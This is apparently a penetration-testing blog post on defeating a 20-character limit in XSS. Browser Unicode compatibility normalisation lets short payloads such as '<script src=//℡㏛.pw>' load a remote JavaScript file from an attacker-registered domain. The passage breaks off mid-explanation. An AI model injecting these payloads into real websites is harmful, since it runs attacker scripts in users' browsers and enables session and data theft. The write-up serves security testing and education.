Exploiting XSS with 20 characters limitation


Cross-Site Scripting (XSS) is one of the most common vulnerabilities found across a web penetration testing. However, depending on the injection point, a character limitation problem could be found. In this post, unicode compatibility is going to be taken to exploit some XSS vulnerabilities.

Unicode compatibility

In Unicode equivalence some sequences of code points represent essentially the same character. This feature was introduced in the standard to allow compatibility with preexisting standard character sets. Unicode provides two ways of handling that: canonical equivalence and compatibility.

20 length limitation problem

Therefore, supose a length limitation of a payload is set, and we confirm the Javascript execution with a 20 character payload like this:


But, this is harmless, because we can only pop an alert, without showing the impact behind a XSS. Loading an external Javascript would be perfect and would give us more flexibility to prepare a more complex attack.

<script src=//aa.es>

Therefore, a payload like this would be perfect, because we can load a remote Javascript file with 20 characters. But almost every domain of this kind is taken or is too expensive.

Taking advantage

Browsers perform unicode compatibility with some characters, let’s see an example. Supose we have this payload:

<script src=//ffff.pw>

Notice that characters is only one character but when browsers interpret it, it will be expanded as ff two characters. This open the door to buy larger domains, in a cheaper way.

More of these characters can be found here.

To check in which characters are decomposed check here:

Character decomposition

Then, lets register a domain a telsr.pw for example. It costs only $1.28.

Domain price

Our final payload will look like this:

<script src=//℡㏛.pw>

Observe how the normalization is performed and our registered endpoint is trying to be reached with a payload of 20 characters instead of 23 characters thanks of unicode compatibility.


Next steps

Therefore, a domain is registered and a payload is trying to reach that domain, however it has not executed anything yet.

One thing came into my mind, let’s perform a DNS Redirect, it will work as follows:

But there is a problem, if the connection goes over HTTPS and we trigger a script with src=\\url the protocol will be the same as the website. Then, if we perform a DNS redirect to another site, there will be a certificate mismatch and the Javascript file will not be loaded.


If the comunication goes over HTTP this is not a problem, but it is not the common scenario.

This was solved doing the following: